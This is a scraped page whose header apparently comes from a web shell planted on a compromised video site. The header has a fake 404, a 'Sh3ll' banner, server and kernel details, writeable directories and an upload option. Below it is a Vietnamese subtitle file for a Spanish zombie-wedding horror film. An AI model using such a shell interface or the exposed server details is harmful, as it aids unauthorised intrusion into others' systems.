����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c83f30a3d6e1-1552151306.vtt
WEBVTT - https://subtitletools.com

00:00:35.950 --> 00:00:38.950
MỘT CHUYỆN TÌNH TUYỆT VỜI

00:01:33.410 --> 00:01:35.330
Ta sẽ quay phim Koldo, anh họ tôi,

00:01:35.450 --> 00:01:36.990
người chắc là có hơi căng thẳng.

00:01:37.200 --> 00:01:38.240
Dì!

00:01:39.000 --> 00:01:40.870
Koldo? Koldo?

00:01:41.290 --> 00:01:43.120
- Chúc mừng.
- Cám ơn.

00:01:43.290 --> 00:01:44.330
Em họ!

00:01:45.120 --> 00:01:46.790
Này!

00:01:47.160 --> 00:01:48.620
- Khỏe không?
- Anh thế nào?

00:01:48.830 --> 00:01:50.290
- Tuyệt. Còn em?
- Thấy mà còn hỏi sao?

00:01:50.450 --> 00:01:52.330
Trông anh tuyệt lắm!

00:01:53.660 --> 00:01:54.700
Và không có gạo...

00:01:54.870 --> 00:01:57.240
Đừng có ném gạo.
Con bé muốn cánh hoa hồng.

00:01:57.540 --> 00:01:58.660
- Thật tinh tế.
- Giúp chúng tôi một tay!

00:01:58.790 --> 00:02:01.620
- Koldo! Koldito!
- Chào!

00:02:02.870 --> 00:02:04.660
Làm gì mà cứ rình mò thế?

00:02:04.790 --> 00:02:06.240
Nhớ em họ Adrián không?

00:02:06.450 --> 00:02:09.700
Dĩ nhiên. Nhưng lần cuối gặp nhau,
chú mày vừa mới dậy thì.

00:02:09.910 --> 00:02:13.620
Nếu tia được em nào xinh gái
thì báo ngay cho anh nhé?

00:02:14.000 --> 00:02:17.160
Nhân tiện... Natalie có đến không?

00:02:17.370 --> 00:02:19.410
Đến đám cưới em mà anh
còn không định nghỉ săn gái sao?

00:02:19.540 --> 00:02:21.450
- Cô ta có đến hay không?
- Ở sẵn trong đó rồi.

00:02:21.660 --> 00:02:22.700
Hết sảy!

00:02:23.040 --> 00:02:24.950
Natalie là ai?

00:02:25.410 --> 00:02:29.080
Natalié, Natalié...
Một em rau sạch miền quê.

00:02:30.700 --> 00:02:33.410
Bên kia kìa...

00:02:33.620 --> 00:02:35.870
Tay quay phim đám cưới!
Hàng đẹp đấy!

00:02:37.790 --> 00:02:39.990
Nó dùng làm gì?

00:02:40.200 --> 00:02:44.410
Ổn định hình ảnh và tạo nên
các đoạn phim chất lượng.

00:02:44.620 --> 00:02:47.490
Vì đeo trên vai với những thứ đó
thì hình ảnh sẽ không xem nổi.

00:02:47.700 --> 00:02:49.580
Họ cũng quay phim
bằng thiết bị đó hả?

00:02:49.790 --> 00:02:51.580
Ở đây có vài người.
Còn ở Mỹ thì ai cũng xài.

00:02:51.910 --> 00:02:53.160
Tất cả hả?

00:02:54.330 --> 00:02:57.330
Nhìn này.
Chất lượng rạp chiếu.

00:02:57.540 --> 00:02:59.540
Máy quay của em thì sao, nhóc?

00:03:00.000 --> 00:03:03.160
Nó có độ phân giải cao HD,
với nhiều megapixel.

00:03:03.370 --> 00:03:05.950
Nhiều megapixel?
Giúp anh một việc nhé?

00:03:06.290 --> 00:03:09.240
Em có thể quay vài cảnh trong nhà,
những người thân trong gia đình?

00:03:09.450 --> 00:03:11.200
Em sẽ quay mọi thứ, đừng lo.

00:03:11.410 --> 00:03:14.790
Những cảnh mà người thường không xem.
Dziga Vertov, Cinema verité...

00:03:14.870 --> 00:03:16.990
Dĩ nhiên rồi.
Em thề là sẽ quay mọi thứ.

00:03:17.120 --> 00:03:19.410
- Tên em là gì, bảnh tỏn?
- Adrián. Còn anh?

00:03:19.620 --> 00:03:21.790
- Atún.
- Rất hân hạnh.

00:03:24.540 --> 00:03:27.580
Tita, mặc áo vào,
chúng ta đi thôi.

00:03:31.660 --> 00:03:33.450
Gặp lại sau, Estela.

00:03:38.660 --> 00:03:41.830
- Lấy chìa khóa chưa?
- Rồi anh yêu, đừng lo.

00:03:42.120 --> 00:03:43.160
Clara đâu?

00:03:43.250 --> 00:03:45.160
Nó không ở trên lầu.
Em không biết.

00:03:45.370 --> 00:03:47.290
- Không có trên lầu là sao?
- Không.

00:03:47.410 --> 00:03:48.830
Vào bếp tìm chị con đi.

00:03:48.910 --> 00:03:49.910
Đường này.

00:03:51.660 --> 00:03:52.450
Tắt cái máy quay đi!

00:03:52.580 --> 00:03:53.330
Ô...

00:03:53.950 --> 00:03:56.790
Clara! Clara!

00:03:58.580 --> 00:04:00.540
Clara, đi thôi!

00:04:05.910 --> 00:04:07.490
Chị ổn chứ?

00:04:09.200 --> 00:04:14.490
Tita, tắt máy quay đi.
Có chuyện này muốn nói với em.

00:04:16.000 --> 00:04:16.540
Tôi nghĩ...

00:04:16.620 --> 00:04:17.700
Chào!

00:04:18.080 --> 00:04:20.370
Đây là Koldo với chú Pepe Víctor.

00:04:20.580 --> 00:04:22.620
Để xem chú ta nói gì.
Chú ta luôn thích ồn ào.

00:04:22.750 --> 00:04:24.870
Clara tuyệt lắm. Nếu cháu đổi ý,
chú sẽ ly dị dì của cháu...

00:04:25.080 --> 00:04:26.830
- ...và cướp cô ta khỏi cháu đấy.
- Chú nói gì thế?

00:04:26.950 --> 00:04:30.410
Đùa hay lắm chú.
Hoan hô Valencia!

00:04:30.750 --> 00:04:33.160
- Víctor, Pepe Víctor!
- Anh đến đây, Amparín!

00:04:34.870 --> 00:04:37.200
Tay chú bị sao thế?

00:04:37.410 --> 00:04:41.450
Đừng nói gì với dì cháu.
Một con chó ở phòng khám...

00:04:41.660 --> 00:04:43.490
- Trông như nó đã ngủm...
- Chuyện gì thế?

00:04:43.700 --> 00:04:46.580
tỉnh dậy rồi bum!
Đau đến thấu xương.

00:04:46.790 --> 00:04:49.330
- Nó cắn chú?
- Ừ, nhưng đừng lo, chú...

00:04:49.540 --> 00:04:52.450
- Chú ổn chứ?
- Cháu nói xem sao?

00:04:52.580 --> 00:04:55.120
- Nhanh lên! Pepe Víctor, đi nào!
- Chú có quà cho cháu.

00:04:55.330 --> 00:04:57.160
- Gặp lại cháu sau nhé?
- Vâng...

00:04:58.080 --> 00:04:58.950
Đưa đây.

00:05:00.200 --> 00:05:01.290
Em thích quay phim.

00:05:02.330 --> 00:05:03.330
À...

00:05:04.540 --> 00:05:07.370
Dĩ nhiên là nó có hơi căng thẳng.

00:05:08.620 --> 00:05:12.040
Nhưng nó rất đẹp.
Con nên nhìn thấy nó.

00:05:14.160 --> 00:05:15.200
Được rồi.

00:05:15.370 --> 00:05:18.540
Cô dâu đang đến.
Mọi người vào trong!

00:05:18.660 --> 00:05:20.160
Koldo. Tỉnh đi!
Dũng cảm lên!

00:05:20.290 --> 00:05:21.160
Vào trong!

00:05:21.250 --> 00:05:24.700
- Mời vào trong!
- Đi nào!

00:05:24.830 --> 00:05:27.370
- Bố đâu?
- Bố anh trong nhà.

00:05:27.500 --> 00:05:29.290
- Với Mónica, Óscar và đám nhóc.
- Đi nào...

00:05:29.450 --> 00:05:31.660
Nhanh lên nào!
Mọi người vào trong!

00:05:31.790 --> 00:05:32.660
Đi quay nào!

00:05:32.750 --> 00:05:34.290
Phía sau!
Mời vào trong nhà.

00:05:34.410 --> 00:05:36.290
- Làm một điếu không, Adri?
- Không, cám ơn.

00:05:36.410 --> 00:05:37.950
Rafa!

00:05:38.290 --> 00:05:43.040
Các cu đây rồi!
Ha ha!

00:05:43.910 --> 00:05:46.200
Thằng khờ sắp cưới đâu?
Nó đâu rồi hả?

00:05:46.330 --> 00:05:47.660
Trong nhà.
Anh nghĩ ở đâu chứ?

00:05:47.790 --> 00:05:49.410
Nhóc!

00:05:49.540 --> 00:05:50.700
Rafita...

00:05:50.830 --> 00:05:51.870
Quá bảnh...

00:05:52.000 --> 00:05:54.870
Charly! Vào đi!
Ôm cái nào!

00:05:55.000 --> 00:05:56.700
Đó là... Jumangi!

00:06:31.700 --> 00:06:32.990
Anh trông tuyệt quá!

00:06:42.330 --> 00:06:47.700
Khi các con muốn bước vào
ngôi nhà hôn nhân, cùng chung tay...

00:06:48.870 --> 00:06:56.990
Clara, xin nhận chiếc nhẫn này như một biểu tượng
của tình yêu và lòng trung thành của anh với em...

00:06:59.830 --> 00:07:05.740
Koldo, xin nhận chiếc nhẫn này như một biểu tượng
của tình yêu và lòng trung thành của em với anh...

00:07:12.410 --> 00:07:13.870
Ôi...

00:08:18.410 --> 00:08:21.660
Thật tuyệt vời!

00:08:31.790 --> 00:08:33.790
Trăm năm hạnh phúc!

00:08:33.870 --> 00:08:34.660
Hoan hô!

00:08:38.700 --> 00:08:39.990
Tốt lắm, con trai!

00:09:03.330 --> 00:09:05.080
Chụp hình!

00:09:06.080 --> 00:09:08.330
Giờ là gia đình!

00:09:11.290 --> 00:09:14.740
Chú...

00:09:16.910 --> 00:09:19.490
- Ông khỏe không ạ?
- Cháu thì sao?

00:09:19.620 --> 00:09:23.450
- Vậy là cháu sẽ...
- Ông vui chứ?

00:09:23.540 --> 00:09:24.870
Có chứ!

00:09:25.000 --> 00:09:25.830
Tai nghe của ông!

00:09:26.410 --> 00:09:28.870
Ông nghe cháu không?

00:09:29.000 --> 00:09:29.700
Ông có nghe không?

00:09:39.790 --> 00:09:42.200
Xin mọi người chú ý.

00:09:42.370 --> 00:09:46.330
Khu tiếp tân ở sau nhà thờ.

00:09:46.540 --> 00:09:51.490
Có đủ chỗ cho mọi người,
nhưng vào từ từ thôi.

00:09:51.700 --> 00:09:54.990
Tất cả đừng đồng loạt vào đó nhé?

00:09:55.200 --> 00:09:56.740
Xin cám ơn.

00:09:58.620 --> 00:10:01.620
Nhìn họ kìa!
Cháu sẽ trông rất xinh!

00:10:01.870 --> 00:10:03.410
Có gặp anh cháu chưa?

00:10:04.250 --> 00:10:05.950
Có thấy anh cháu không?

00:10:06.200 --> 00:10:08.660
Thằng nhóc vừa kết hôn
thì đã lỉnh đi sao hả?

00:10:08.870 --> 00:10:10.740
Không thể tin nổi!

00:10:10.950 --> 00:10:13.120
Có quá nhiều người ở đây!

00:10:15.200 --> 00:10:19.080
Chúng tôi đang ở quầy lễ tân,
trong chỗ tuyệt vời này...

00:10:25.330 --> 00:10:27.290
Hẳn họ đã tốn cả mớ tiền!

00:10:31.160 --> 00:10:32.620
Chào người đẹp.
Khỏe không?

00:10:32.870 --> 00:10:34.370
- Không có rượu?
- Phải.

00:10:34.500 --> 00:10:35.740
- Không có rượu?
- Không rượu.

00:10:35.870 --> 00:10:37.240
- Cái gì thế?
- Piña colada.

00:10:37.370 --> 00:10:39.830
- Piña colada? Tôi sẽ uống!
- Ông ta biết!

00:10:39.950 --> 00:10:41.620
- Tôi lấy một ly!
- Được!

00:10:43.370 --> 00:10:45.240
Mẹ và con gái!

00:10:49.660 --> 00:10:53.200
Mẹ có vẻ vui nhỉ?

00:10:53.950 --> 00:10:55.200
- Ông?
- Gì thế?

00:10:55.330 --> 00:11:00.120
- Họ nói trời sẽ mưa sao?
- Ừ. Khi ông đi học...

00:11:00.950 --> 00:11:02.660
Chẳng được gì nhiều nhưng...

00:11:02.790 --> 00:11:04.620
Ông nhớ...

00:11:04.750 --> 00:11:07.790
Chú đang nói mẹ cháu đẹp thế nào
nhưng còn cháu...

00:11:07.910 --> 00:11:09.990
- Coi nào...
- Tốt hơn rồi...

00:11:12.790 --> 00:11:13.790
Tạm biệt.

00:11:14.160 --> 00:11:15.200
Atún!

00:11:16.290 --> 00:11:18.160
Chất lượng phim rạp!

00:11:18.290 --> 00:11:19.540
Đấy...

00:11:20.120 --> 00:11:22.240
Anh ta giỏi thật!

00:11:22.830 --> 00:11:24.330
Nó phải được chỉnh lại...

00:11:24.450 --> 00:11:28.080
bằng phần mềm Fresco,
một chút Renoir...

00:11:28.200 --> 00:11:30.540
và vài phần mềm phim khác...

00:11:30.660 --> 00:11:31.330
Phải...

00:11:31.450 --> 00:11:35.240
- Rất tuyệt, rất nối mạng.
- Nối mạng?

00:11:36.540 --> 00:11:39.120
Chú ổn chứ ạ?

00:11:41.950 --> 00:11:43.450
- Ổn.
- Vậy sao?

00:11:46.540 --> 00:11:48.120
Xem cặp uyên ương kìa.

00:11:50.290 --> 00:11:53.990
- Anh rất hạnh phúc.
- Em cũng thế.

00:11:54.120 --> 00:11:55.990
Không. Em rất xinh đẹp.

00:11:57.410 --> 00:11:59.490
- Em muốn nói với anh điều này.
- Được mà.

00:12:01.200 --> 00:12:02.910
Nhưng em quá đẹp...

00:12:03.040 --> 00:12:04.870
Em thường đẹp, nhưng hôm nay...?

00:12:05.000 --> 00:12:05.990
Phải rồi...

00:12:06.830 --> 00:12:08.080
Xin lỗi.

00:12:08.950 --> 00:12:11.990
Sáng nay, tại nhà bố mẹ em...

00:12:12.120 --> 00:12:13.370
Này!

00:13:02.410 --> 00:13:03.490
Xin chú ý!

00:13:03.750 --> 00:13:08.040
Cám ơn mọi người
đã có mặt ở đây, và...

00:13:09.660 --> 00:13:11.990
Tôi không biết nữa...
Koldo và tôi...

00:13:12.200 --> 00:13:15.700
Koldo và tôi yêu mọi người rất nhiều và...

00:13:15.870 --> 00:13:20.450
thật hân hạnh khi mọi người
yêu chúng tôi nhiều và thật vui

00:13:20.580 --> 00:13:23.160
khi chúng tôi tìm thấy
tình yêu trong đời của mình.

00:13:23.290 --> 00:13:24.240
Hoan hô!

00:13:30.290 --> 00:13:34.700
Thật đáng yêu...

00:13:44.330 --> 00:13:45.330
Em muốn một miếng!

00:13:50.870 --> 00:13:52.700
Quay bọn anh nào!

00:13:52.830 --> 00:13:53.700
Đấy...

00:13:54.330 --> 00:13:55.990
Trăm năm hạnh phúc...

00:13:56.120 --> 00:13:57.080
Vì tình yêu!

00:13:57.200 --> 00:14:00.040
Vì tình yêu.

00:14:00.620 --> 00:14:04.160
Rafa!
Vì tình yêu.

00:14:04.700 --> 00:14:05.240
Oh, oh!

00:14:06.620 --> 00:14:09.120
Cô ta khiến anh điên rồi!

00:14:09.370 --> 00:14:10.870
Cô ta đến...

00:14:11.000 --> 00:14:13.330
Làm anh tưng tửng rồi biến mất!

00:14:13.450 --> 00:14:16.370
- Cô ta biến khỏi anh!
- Đây là Pháp mà...

00:14:16.750 --> 00:14:18.490
Natalié... Natalié...

00:14:18.750 --> 00:14:21.410
A les enfants de la patríe.

00:14:21.540 --> 00:14:24.410
Đó là điều tôi thích.

00:14:24.540 --> 00:14:27.160
Lộng lẫy!

00:14:32.750 --> 00:14:33.950
Koldito!

00:14:34.540 --> 00:14:36.700
Chương trình quay phim.

00:14:36.830 --> 00:14:40.160
Hãy tiếp tục chương trình
bằng vài cuộc phỏng vấn...

00:14:40.660 --> 00:14:43.330
Đây là Sponge Bob...

00:14:43.450 --> 00:14:45.200
Tôi phỏng vấn chú được không?

00:14:45.330 --> 00:14:48.790
Được. Nhưng ra ngoài nhé?
Tôi muốn hút một điếu.

00:14:48.910 --> 00:14:50.490
Vậy thì ra ngoài.

00:14:51.790 --> 00:14:53.740
Có một căn phòng kế bên phòng ăn,

00:14:53.870 --> 00:14:55.410
nơi chúng tôi để các trò chơi

00:14:55.540 --> 00:14:58.080
để bọn nhóc giải trí
trong suốt bữa tiệc.

00:14:58.200 --> 00:15:00.490
Chú làm nghề này bao lâu?

00:15:00.750 --> 00:15:04.040
Mười năm trong đám cưới...

00:15:04.160 --> 00:15:06.200
và tám năm tổ chức cho con nít.

00:15:07.750 --> 00:15:10.410
Chính xác thì chú mặc gì thế?

00:15:10.540 --> 00:15:12.290
Giống Sponge John.

00:15:12.410 --> 00:15:14.240
Sponge Bob?

00:15:14.370 --> 00:15:17.450
Không. Có vấn đề
về bản quyền nên

00:15:17.580 --> 00:15:19.990
bộ đồ giờ được gọi là Sponge John.

00:15:20.120 --> 00:15:22.990
Chúng ta đang nói về một nhân vật
chẳng có liên quan gì

00:15:23.120 --> 00:15:25.870
đến điều cháu muốn nói.
Tôi không muốn rắc rối nào sau này.

00:15:26.000 --> 00:15:28.160
Thề có Chúa.

00:15:28.290 --> 00:15:31.540
Nó rất tuyệt.
Vì bọn nhóc thích nó.

00:15:31.660 --> 00:15:34.700
Đậu móa...
Một tên say điển hình kìa!

00:15:35.910 --> 00:15:37.580
Đó là chú tôi!

00:15:37.700 --> 00:15:40.620
- Xin lỗi nhóc, tôi không biết.
- Chú ổn chứ?

00:15:41.750 --> 00:15:43.990
Xin lỗi, tôi không biết
đó là chú cậu.

00:15:45.370 --> 00:15:47.160
Họ làm gì ở đó thế?

00:15:57.500 --> 00:16:00.830
Nghe nói phun thuốc vào ban đêm
sẽ hiệu quả hơn.

00:16:00.950 --> 00:16:01.990
Lạ nhỉ!

00:16:02.080 --> 00:16:03.490
Cảnh sát đến hả?

00:16:04.080 --> 00:16:07.040
Nếu họ bắt chú thở...

00:16:07.330 --> 00:16:08.330
Adrián!

00:16:08.450 --> 00:16:11.700
Tôi vừa quay phim chú Pepe Víctor
cho chó ăn chè. Thật tuyệt vãi!

00:16:11.830 --> 00:16:14.120
Đủ với chuyện Pepe,
chuyện phiếm và hút thuốc rồi đấy.

00:16:14.250 --> 00:16:17.290
Vào trong và bắt đầu
quay thứ gì hay đi.

00:17:29.910 --> 00:17:31.200
Không thể vội vã...

00:17:32.330 --> 00:17:34.700
Mấy chuyện này không vội được.

00:17:37.750 --> 00:17:41.830
Không thể vội được...!
Coi nào, Rafa!

00:17:47.790 --> 00:17:49.580
Rafa!

00:17:49.750 --> 00:17:52.200
Atún!

00:17:52.540 --> 00:17:55.580
Em vừa quay được cảnh Rafa
lỉnh đi với em người Pháp!

00:17:55.790 --> 00:17:57.290
Em có tài bẩm sinh đấy!

00:17:57.410 --> 00:17:58.830
Phải!

00:18:17.660 --> 00:18:19.950
Chú!

00:18:20.080 --> 00:18:23.330
Chú làm gì thế?

00:18:24.290 --> 00:18:25.580
Chú!

00:18:26.000 --> 00:18:27.540
Xuống đi!

00:18:27.660 --> 00:18:29.160
Chú!

00:18:30.200 --> 00:18:31.450
Thật nguy hiểm!

00:18:39.700 --> 00:18:44.080
Tắt nhạc đi!

00:18:46.290 --> 00:18:47.330
Gọi cấp cứu!

00:18:47.450 --> 00:18:49.830
Gọi cấp cứu nhanh!

00:18:50.000 --> 00:18:53.160
Gọi cấp cứu đi!

00:18:53.290 --> 00:18:54.790
Cấp cứu!

00:20:19.040 --> 00:20:20.580
Có thấy Clara không?

00:20:20.700 --> 00:20:21.790
Không hả?

00:20:21.870 --> 00:20:23.450
Tita kìa!

00:20:23.950 --> 00:20:25.040
Coi nào!

00:20:32.120 --> 00:20:34.370
Theo tôi, Adrián!

00:20:36.750 --> 00:20:38.540
Lối này! Koldo!

00:20:38.870 --> 00:20:41.580
Vào trong! Khóa cửa lại!

00:20:41.700 --> 00:20:44.120
Khóa cửa lại!
Nó kìa!

00:20:44.540 --> 00:20:46.120
Ah! Chúa ơi!

00:20:56.040 --> 00:20:59.080
Clara! Có thấy Clara?
Có ai thấy Clara không?

00:20:59.500 --> 00:21:02.080
Không!

00:21:02.750 --> 00:21:03.620
Chúa ơi!

00:21:04.290 --> 00:21:06.450
- Ngoài đó xảy ra chuyện gì thế?
- Không biết...

00:21:06.580 --> 00:21:11.080
Mọi người phát điên lên
rồi bắt đầu ăn thịt lẫn nhau.

00:21:11.200 --> 00:21:14.040
- Đang quay hả?
- Vâng, mọi thứ.

00:21:15.830 --> 00:21:17.580
Anh làm gì thế?

00:21:17.700 --> 00:21:19.870
Mọi người có quyền được biết
chuyện gì đang xảy ra!

00:21:20.000 --> 00:21:21.540
Tôi phải quay mọi thứ!

00:21:24.080 --> 00:21:26.990
- Nói cái đéo gì thế?
- Dừng lại!

00:21:27.120 --> 00:21:28.410
- Đưa máy quay đây!
- Dừng lại!

00:21:29.370 --> 00:21:30.240
Anh sẽ...

00:21:30.370 --> 00:21:31.290
làm hư nó!

00:21:35.370 --> 00:21:55.290
davidseanghia
.: www.phudeviet.org :.

00:22:03.790 --> 00:22:06.120
Anh biết mình phải trả tiền
cho cái máy quay chứ?

00:22:19.950 --> 00:22:21.870
Thử gọi Clara xem.

00:22:22.330 --> 00:22:25.580
Cầu thang! Xem có lối thoát không.
Đi nào!

00:22:26.200 --> 00:22:27.290
Nhanh lên!

00:22:30.830 --> 00:22:32.410
Lùi lại!

00:22:32.540 --> 00:22:34.620
Khóa cửa lại!

00:22:39.040 --> 00:22:41.540
- Thế nào?
- Không gọi được.

00:22:53.910 --> 00:22:56.540
Tôi phải tìm Clara!
Tôi phải tìm vợ mình!

00:22:56.660 --> 00:22:58.040
Ngay lúc này thì không thể!

00:22:58.750 --> 00:23:02.990
Giờ không phải lúc mất bình tĩnh.
Anh thấy chuyện này chó má sao rồi đấy.

00:23:04.540 --> 00:23:05.700
Đậu móa!

00:23:05.830 --> 00:23:08.990
Tên tôi là Atún.
Từ hãng phim Filmax.

00:23:10.000 --> 00:23:11.540
Koldo.

00:23:12.450 --> 00:23:13.790
Đây là?

00:23:17.200 --> 00:23:19.160
Moncho...

00:23:21.500 --> 00:23:23.580
Ông thuộc nhánh nào
trong dòng họ Clara, Moncho?

00:23:23.700 --> 00:23:25.740
Ông ta không thuộc dòng họ em.

00:23:27.410 --> 00:23:29.240
Thanh tra SGAE.

00:23:29.370 --> 00:23:31.160
Nghĩa là gì?

00:23:31.290 --> 00:23:33.490
Tôi viết nốt nhạc cho
các bài hát chơi ở đám cưới.

00:23:33.620 --> 00:23:35.370
Việc của tôi.

00:23:39.870 --> 00:23:43.450
Cái lưới này hẳn dẫn đến chỗ nào đó.

00:23:48.370 --> 00:23:49.080
A!

00:24:02.290 --> 00:24:03.160
Nhanh!

00:24:04.160 --> 00:24:06.040
Nhanh lêm!

00:24:06.330 --> 00:24:10.790
Đậu móa!
Thằng bùi ngu ngốc!

00:24:13.580 --> 00:24:16.040
Có gì ở đây này!

00:24:18.500 --> 00:24:19.870
Lên đi...

00:24:23.620 --> 00:24:25.080
Để tôi giúp!

00:24:31.000 --> 00:24:32.290
Tôi sẽ không vào đó vừa.

00:24:33.330 --> 00:24:35.040
Không thể để Atún lại.

00:24:35.160 --> 00:24:37.040
Đừng ngu thế.
Leo vào đi!

00:24:40.410 --> 00:24:42.740
Đi ngay thôi!

00:24:45.250 --> 00:24:48.620
Anh đã bật chế độ ban đêm
để em có thể nhìn thấy trong đó.

00:24:48.750 --> 00:24:50.830
Đừng nghĩ đến chuyện
xóa thứ gì đấy nhé?

00:24:54.120 --> 00:24:57.790
Atún, thề có Chúa là
bọn em sẽ quay lại đón anh.

00:25:13.080 --> 00:25:13.990
Tối quá!

00:25:14.120 --> 00:25:15.040
Không thể thấy gì!

00:25:16.660 --> 00:25:17.660
Anh?

00:25:18.450 --> 00:25:20.830
Tita, cầm lấy máy quay!

00:25:20.950 --> 00:25:21.870
Đi nào!

00:25:33.790 --> 00:25:37.450
Ta không biết chuyện gì xảy ra
nhưng sẽ không sao đâu.

00:25:37.580 --> 00:25:40.330
Ta sẽ tìm chị em rồi chúng ta
sẽ rời khỏi nơi này nhé?

00:25:40.870 --> 00:25:42.540
Anh hứa.

00:25:42.660 --> 00:25:43.910
Đi nào!

00:25:44.040 --> 00:25:46.410
- Koldo!
- Gì thế?

00:25:47.040 --> 00:25:51.370
Khi ở bên ngoài, em thấy một xe cảnh sát.
Cần phải tìm thấy xe!

00:25:52.500 --> 00:25:55.540
Chúng ta phải cần trợ giúp!

00:25:56.200 --> 00:25:57.120
Khỉ thật!

00:25:59.450 --> 00:26:01.370
Khoan!
Có ánh sáng!

00:26:01.500 --> 00:26:03.370
Hình như có ánh sáng.

00:26:05.450 --> 00:26:10.540
Có thể nó dẫn ra vườn.
Đi nào!

00:26:53.330 --> 00:26:55.410
Đi nào!

00:27:01.500 --> 00:27:05.620
Cứu tôi với!

00:27:13.870 --> 00:27:17.120
Ông làm gì thế?
Nhanh lên nào!

00:27:34.290 --> 00:27:35.200
Cảnh sát!

00:27:47.290 --> 00:27:48.040
Không!

00:27:54.790 --> 00:27:55.580
Royalties!

00:27:55.870 --> 00:28:00.200
Royalties! Royalties!
Giúp với, mẹ kiếp!

00:28:04.950 --> 00:28:06.330
Coi nào, Royalties!

00:28:39.200 --> 00:28:43.330
Xin chào? Cứu chúng tôi với!
Có ai nghe không?

00:28:43.580 --> 00:28:46.120
Làm quái nào xài nó nhỉ?

00:28:46.250 --> 00:28:50.370
Có ai nghe không?
Xin cứu với!

00:29:08.250 --> 00:29:10.660
Nhanh lên!
Chúng đang đến!

00:29:19.200 --> 00:29:20.160
Nhanh!

00:30:23.750 --> 00:30:25.450
Anh xin lỗi.

00:30:28.000 --> 00:30:31.160
Chạy đi!
Còn chờ gì nữa? Vào trong!

00:30:31.290 --> 00:30:32.240
Chạy đi bà!
Đóng lại!

00:30:32.370 --> 00:30:34.660
Câm mồm.
Chúng không thể vào đây.

00:30:35.290 --> 00:30:38.700
Bọn dị giáo khốn nạn!

00:30:41.790 --> 00:30:44.410
Clara!
Có ai thấy Clara không?

00:30:45.120 --> 00:30:46.490
Có ai có di động còn xài được không?

00:30:46.620 --> 00:30:48.620
Chẳng cái nào gọi được.

00:30:48.750 --> 00:30:50.910
Ta phải đưa họ đi khỏi đây!

00:30:51.040 --> 00:30:52.410
Chúng ta an toàn trong này, bà ngoại.

00:30:52.540 --> 00:30:53.370
Sao chúng không thể vào?

00:30:53.500 --> 00:30:56.160
Chúng không thể bước vào nhà thờ,
nước thánh làm chúng đau.

00:30:56.290 --> 00:30:57.790
Chúng ta không biết gì thêm.

00:30:57.910 --> 00:30:59.660
Tôi không phải ngoại của anh.

00:30:59.790 --> 00:31:01.490
Trong này có điện thoại bàn chứ?

00:31:01.620 --> 00:31:02.950
Có, nhưng hư rồi.

00:31:11.330 --> 00:31:12.580
Có vẻ chúng sẽ vào.

00:31:12.700 --> 00:31:15.240
Đưa bọn trẻ đến chỗ xe ngựa.

00:31:15.370 --> 00:31:17.040
Tôi sẽ đi tìm Clara.

00:31:17.250 --> 00:31:21.370
- Khoan, Koldo. Chưa biết chừng...
- Đừng nói thế. Câm mồm đi.

00:31:21.500 --> 00:31:24.540
- Hãy nhớ là...
- Im! Tôi không muốn nghe.

00:31:25.000 --> 00:31:25.660
Koldo...

00:31:25.790 --> 00:31:28.790
Anh biết Clara còn sống.

00:31:29.700 --> 00:31:32.080
Anh biết vì anh có thể
cảm thấy vợ mình.

00:31:36.410 --> 00:31:38.660
Cái quái gì thế?

00:31:42.700 --> 00:31:44.120
Koldo.

00:31:44.870 --> 00:31:46.660
Koldo, em đây.

00:31:47.330 --> 00:31:49.740
Và em biết là dù ở đâu
thì anh có thể nghe thấy em.

00:31:49.870 --> 00:31:51.540
Em muốn cho anh biết
là em vẫn an toàn.

00:31:51.660 --> 00:31:55.080
Cha Losara với em đang trốn
và bọn em vẫn không sao.

00:31:55.200 --> 00:31:56.870
Em biết anh cũng thế.

00:31:57.000 --> 00:31:59.580
Em biết anh còn sống vì
em cảm thấy anh, Koldo!

00:31:59.700 --> 00:32:01.330
Cưng ơi!

00:32:01.450 --> 00:32:03.040
Em yêu anh!

00:32:03.160 --> 00:32:04.870
Và...

00:32:05.580 --> 00:32:08.580
Cả ngày, em đã cố nói cho anh...

00:32:08.700 --> 00:32:12.910
Nhưng chúng ta thật sự không có
nhiều thời gian cho riêng mình.

00:32:14.160 --> 00:32:17.200
Chẳng quan trọng nữa.
Em sẽ nói chuyện này cho anh.

00:32:18.750 --> 00:32:20.870
Em có thai.

00:32:21.000 --> 00:32:23.160
Chúng ta sắp thành bố mẹ, Koldo.

00:32:23.290 --> 00:32:25.580
Vậy là quá nhiều.

00:32:25.700 --> 00:32:26.950
Đây không phải tin sốc.

00:32:27.080 --> 00:32:30.080
Với bất cứ ai đang nghe,
nhất là gia đình con.

00:32:30.200 --> 00:32:32.790
Gia đình nên biết
bọn con không cưới nhau vì điều đó.

00:32:32.910 --> 00:32:34.950
Em mới biết chuyện này sáng nay.

00:32:39.700 --> 00:32:41.330
Chuyện gì thế?

00:32:42.450 --> 00:32:44.080
Sao ngừng rồi?

00:32:44.200 --> 00:32:45.910
Sao ngừng rồi?
Cô ấy đâu?

00:32:46.040 --> 00:32:48.660
Chỗ duy nhất phát âm
là Phòng điều khiển.

00:32:48.790 --> 00:32:49.580
Họ hẳn ở đó.

00:32:49.700 --> 00:32:51.660
Nhưng đến chỗ họ vào lúc này
là điều không thể.

00:32:52.160 --> 00:32:54.410
Không, phải có cách khác.

00:32:55.120 --> 00:32:56.990
Phải có cách khác!

00:33:03.790 --> 00:33:06.580
Xin Chúa giúp con.

00:33:24.750 --> 00:33:33.620
Thánh George.

00:33:36.000 --> 00:33:37.740
Trung tâm điều khiển ở đâu?

00:33:41.700 --> 00:33:45.290
Koldo, anh đâu rồi...?
Có thấy anh ta không?

00:33:45.410 --> 00:33:47.660
- Quá sớm.
- Chuyện gì?

00:33:47.790 --> 00:33:50.790
Chưa thể.
Không thể xảy ra!

00:33:50.910 --> 00:33:53.870
- Chuyện gì?
- Khải huyền.

00:33:55.330 --> 00:33:59.160
Những thiên thần không
gìn giữ phẩm giá của họ,

00:33:59.290 --> 00:34:02.830
mà còn hủy hoại
chính chỗ ở của mình...

00:34:05.200 --> 00:34:08.120
Chúa giữ nó trong bóng tối...

00:34:08.250 --> 00:34:10.580
mãi mãi...

